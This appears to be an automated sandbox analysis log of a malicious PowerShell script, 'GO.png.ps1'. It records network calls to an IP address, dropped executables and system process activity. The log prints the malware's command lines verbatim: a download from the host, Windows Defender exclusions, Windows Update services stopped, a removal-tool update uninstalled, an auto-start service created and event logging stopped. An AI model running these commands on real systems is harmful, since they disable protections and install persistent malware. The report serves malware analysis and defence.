00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic

HTTP traffic detected: GET /M.png HTTP/1.1Host: 176.113.115.178Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.178

Source: global traffic

HTTP traffic detected: GET /M.png HTTP/1.1Host: 176.113.115.178Connection: Keep-Alive

Source: powershell.exe, 00000000.00000002.1821213500.0000023D1E88C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1821213500.0000023D1E7D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178
Source: powershell.exe, 00000000.00000002.1821213500.0000023D1D0B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.178/M.png
Source: powershell.exe, 00000003.00000002.1606518311.0000021C213A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mic
Source: powershell.exe, 00000000.00000002.1889544505.0000023D2D035000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1889544505.0000023D2CEF2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1821213500.0000023D1E894000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1600788987.0000021C18E13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000003.00000002.1579286681.0000021C08FC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000003.00000002.1579286681.0000021C08FC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000000.00000002.1821213500.0000023D1CE81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1579286681.0000021C08DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000003.00000002.1579286681.0000021C08FC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000003.00000002.1579286681.0000021C08FC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000000.00000002.1821213500.0000023D1CE81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1579286681.0000021C08DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000003.00000002.1600788987.0000021C18E13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000003.00000002.1600788987.0000021C18E13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000003.00000002.1600788987.0000021C18E13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000003.00000002.1579286681.0000021C08FC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000000.00000002.1821213500.0000023D1DAB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000000.00000002.1889544505.0000023D2D035000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1889544505.0000023D2CEF2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1821213500.0000023D1E894000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1600788987.0000021C18E13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

System Summary

PE file contains section with special chars

Source: LB311.exe.0.dr	Static PE information: section name:
Source: LB311.exe.0.dr	Static PE information: section name: .idata
Source: LB311.exe.0.dr	Static PE information: section name:
Source: Mig.exe.6.dr	Static PE information: section name:
Source: Mig.exe.6.dr	Static PE information: section name: .idata
Source: Mig.exe.6.dr	Static PE information: section name:

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\LB311.exe

Jump to dropped file

Uses powercfg.exe to modify the power settings

Source: C:\Users\user\AppData\Roaming\LB311.exe

Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0

Source: C:\Windows\System32\dialer.exe	Code function: 28_2_00000001400010C0 OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,CloseHandle,CloseHandle,	28_2_00000001400010C0
Source: C:\Windows\System32\winlogon.exe	Code function: 35_2_000002E9917528C8 NtEnumerateValueKey,NtEnumerateValueKey,	35_2_000002E9917528C8
Source: C:\Windows\System32\lsass.exe	Code function: 41_2_00000213BDCE202C NtQuerySystemInformation,StrCmpNIW,	41_2_00000213BDCE202C
Source: C:\Windows\System32\dwm.exe	Code function: 45_2_0000026DB16E28C8 NtEnumerateValueKey,NtEnumerateValueKey,	45_2_0000026DB16E28C8

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFB4AE630E9	3_2_00007FFB4AE630E9
Source: C:\Windows\System32\dialer.exe	Code function: 28_2_000000014000226C	28_2_000000014000226C
Source: C:\Windows\System32\dialer.exe	Code function: 28_2_00000001400014D8	28_2_00000001400014D8
Source: C:\Windows\System32\dialer.exe	Code function: 28_2_0000000140002560	28_2_0000000140002560
Source: C:\Windows\System32\winlogon.exe	Code function: 35_2_000002E991721F2C	35_2_000002E991721F2C
Source: C:\Windows\System32\winlogon.exe	Code function: 35_2_000002E99172D0E0	35_2_000002E99172D0E0
Source: C:\Windows\System32\winlogon.exe	Code function: 35_2_000002E9917338A8	35_2_000002E9917338A8
Source: C:\Windows\System32\winlogon.exe	Code function: 35_2_000002E991752B2C	35_2_000002E991752B2C
Source: C:\Windows\System32\winlogon.exe	Code function: 35_2_000002E99175DCE0	35_2_000002E99175DCE0
Source: C:\Windows\System32\winlogon.exe	Code function: 35_2_000002E9917644A8	35_2_000002E9917644A8
Source: C:\Windows\System32\lsass.exe	Code function: 41_2_00000213BDCBD0E0	41_2_00000213BDCBD0E0
Source: C:\Windows\System32\lsass.exe	Code function: 41_2_00000213BDCC38A8	41_2_00000213BDCC38A8
Source: C:\Windows\System32\lsass.exe	Code function: 41_2_00000213BDCB1F2C	41_2_00000213BDCB1F2C
Source: C:\Windows\System32\lsass.exe	Code function: 41_2_00000213BDCEDCE0	41_2_00000213BDCEDCE0
Source: C:\Windows\System32\lsass.exe	Code function: 41_2_00000213BDCF44A8	41_2_00000213BDCF44A8
Source: C:\Windows\System32\lsass.exe	Code function: 41_2_00000213BDCE2B2C	41_2_00000213BDCE2B2C
Source: C:\Windows\System32\svchost.exe	Code function: 44_2_00000158709A1F2C	44_2_00000158709A1F2C
Source: C:\Windows\System32\svchost.exe	Code function: 44_2_00000158709AD0E0	44_2_00000158709AD0E0
Source: C:\Windows\System32\svchost.exe	Code function: 44_2_00000158709B38A8	44_2_00000158709B38A8
Source: C:\Windows\System32\svchost.exe	Code function: 44_2_00000158709D2B2C	44_2_00000158709D2B2C
Source: C:\Windows\System32\svchost.exe	Code function: 44_2_00000158709DDCE0	44_2_00000158709DDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 44_2_00000158709E44A8	44_2_00000158709E44A8
Source: C:\Windows\System32\dwm.exe	Code function: 45_2_0000026DB16BD0E0	45_2_0000026DB16BD0E0
Source: C:\Windows\System32\dwm.exe	Code function: 45_2_0000026DB16C38A8	45_2_0000026DB16C38A8
Source: C:\Windows\System32\dwm.exe	Code function: 45_2_0000026DB16B1F2C	45_2_0000026DB16B1F2C
Source: C:\Windows\System32\dwm.exe	Code function: 45_2_0000026DB16EDCE0	45_2_0000026DB16EDCE0
Source: C:\Windows\System32\dwm.exe	Code function: 45_2_0000026DB16F44A8	45_2_0000026DB16F44A8
Source: C:\Windows\System32\dwm.exe	Code function: 45_2_0000026DB16E2B2C	45_2_0000026DB16E2B2C
Source: C:\Windows\System32\svchost.exe	Code function: 46_2_000002A3EFFCD0E0	46_2_000002A3EFFCD0E0
Source: C:\Windows\System32\svchost.exe	Code function: 46_2_000002A3EFFD38A8	46_2_000002A3EFFD38A8
Source: C:\Windows\System32\svchost.exe	Code function: 46_2_000002A3EFFC1F2C	46_2_000002A3EFFC1F2C
Source: C:\Windows\System32\svchost.exe	Code function: 46_2_000002A3F0662B2C	46_2_000002A3F0662B2C
Source: C:\Windows\System32\svchost.exe	Code function: 46_2_000002A3F06744A8	46_2_000002A3F06744A8
Source: C:\Windows\System32\svchost.exe	Code function: 46_2_000002A3F066DCE0	46_2_000002A3F066DCE0

Source: Joe Sandbox View	Dropped File: C:\ProgramData\Mig\Mig.exe A1A8CFCC74F8F96FD09115189DEFE07AC6FC2E85A9FF3B3EC9C6F454AEDE1C1D
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Roaming\LB311.exe A1A8CFCC74F8F96FD09115189DEFE07AC6FC2E85A9FF3B3EC9C6F454AEDE1C1D

Source: classification engine

Classification label: mal100.spyw.evad.winPS1@58/76@0/1

Source: C:\Windows\System32\dialer.exe

Code function: 28_2_000000014000226C GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,FindResourceExA,SizeofResource,LoadResource,LockResource,GetCurrentProcessId,RegCreateKeyExW,ConvertStringSecurityDescriptorToSecurityDescriptorW,RegSetKeySecurity,LocalFree,RegCreateKeyExW,GetCurrentProcessId,RegSetValueExW,RegCloseKey,RegCloseKey,CreateThread,GetProcessHeap,HeapAlloc,CreateThread,CreateThread,SleepEx,

28_2_000000014000226C

Source: C:\Windows\System32\dialer.exe

Code function: 28_2_00000001400019C4 SysAllocString,SysAllocString,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,VariantInit,CoUninitialize,SysFreeString,SysFreeString,

28_2_00000001400019C4

Source: C:\Windows\System32\dialer.exe

28_2_000000014000226C

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\LB311.exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3760:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5352:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3428:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6784:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5992:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5628:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6492:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5184:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2156:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6424:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3676:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5480:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4788:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1012:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1036:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5072:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6188:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_appywb3p.auw.ps1

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: GO.png.ps1

ReversingLabs: Detection: 18%

Source: LB311.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: Mig.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\GO.png.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\LB311.exe "C:\Users\user\AppData\Roaming\LB311.exe"
Source: C:\Users\user\AppData\Roaming\LB311.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\LB311.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\AppData\Roaming\LB311.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\AppData\Roaming\LB311.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\LB311.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\LB311.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\LB311.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\LB311.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\AppData\Roaming\LB311.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\LB311.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Users\user\AppData\Roaming\LB311.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\LB311.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\LB311.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "LIB"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\LB311.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "LIB" binpath= "C:\ProgramData\Mig\Mig.exe" start= "auto"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\LB311.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog
Source: C:\Users\user\AppData\Roaming\LB311.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "LIB"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\ProgramData\Mig\Mig.exe C:\ProgramData\Mig\Mig.exe
Source: C:\Windows\System32\lsass.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\LB311.exe "C:\Users\user\AppData\Roaming\LB311.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LB311.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LB311.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LB311.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LB311.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LB311.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LB311.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LB311.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LB311.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LB311.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LB311.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LB311.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LB311.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LB311.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "LIB"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LB311.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "LIB" binpath= "C:\ProgramData\Mig\Mig.exe" start= "auto"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LB311.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LB311.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "LIB"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
